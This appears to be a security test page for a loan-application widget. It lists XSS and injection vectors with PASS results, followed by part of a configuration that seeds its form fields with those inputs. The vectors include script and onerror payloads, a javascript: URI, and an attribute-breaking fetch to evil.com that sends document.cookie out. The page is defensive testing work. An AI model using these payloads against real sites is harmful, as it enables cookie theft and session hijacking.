Security & XSS Testing

All attack vectors neutralized — SSN never exposed, XSS rendered inert. Widget in dark mode.

Dark Mode

Security Guarantees

No innerHTML with user-supplied values
SSN always type="password" with empty value
SSN never stored in localStorage
Wizard uses closed Shadow DOM
Focus trapped inside wizard when open
All event listeners cleaned up on close

Widget Mode

Dark mode enabled (darkMode: 'dark')
Card widget renders with dark background
Wizard opens in dark mode
All colors adapt automatically
Theme: red accent (#dc2626)
Widget placed bottom-left

Attack Vectors Tested 7 Tests

CRITICAL HTML Injection via Business Name

<img src=x onerror="window.__xss_test='pwned'">

[PASS] Rendered as plain text via input.value — no <img> element in DOM

CRITICAL Script Tag Injection

<script>alert('XSS')</script>

[PASS] String rendered as literal text, never executed

HIGH Attribute Breaking + Event Handler

" onfocus="fetch('https://evil.com/steal?data='+document.cookie)

[PASS] String treated as value via input.value, not injected into markup

CRITICAL SSN Pre-fill Attempt

FunderialConfig.customer.ssn = "111-22-3333"

[PASS] SSN renders as type="password" with empty value

HIGH XSS in File Name

<img src=x onerror=alert('XSS')>.pdf

[PASS] File name rendered as plain text via textContent

MEDIUM JavaScript URI Injection

javascript:alert('xss')

[PASS] Injected as text value, no navigation or execution

MEDIUM Unicode & Special Characters

\u003cimg\u003e にほんご (Japanese characters)

[PASS] Unicode preserved, no script execution via Unicode tricks

", businessEmail: 'info@acmefinancial.com', phoneNumber: '" onfocus="fetch(\\'https://evil.com/steal?data=\\'+document.cookie)', address: 'javascript:alert("xss")', city: '\\u003cimg\\u003e\\u306b\\u307b\\u3093\\u3054', state: 'NY', postalCode: '10001', entityType: 'S Corp', businessStartDate: '2018-03-15', amountRequested: '150000', ProductServiceSold: '

', grossAnnualSales: '1200000', outstandingLoan: 'No', firstName: '', lastName: 'Smith', ssn: '111-22-3333', dateOfBirth: '1985-06-20', cellPhone: '(555) 987-6543', personalEmail: 'john.smith@email.com', homeAddress: '456 Oak Avenue', homeCity: 'New York', homeState: 'NY', homepostalCode: '10002', ownership: '100', citizenShipStatus: 'US Citizen', }, darkMode: 'dark', theme: { colors: { primary: '#7f1d1d', accent: '#dc2626' }, }, };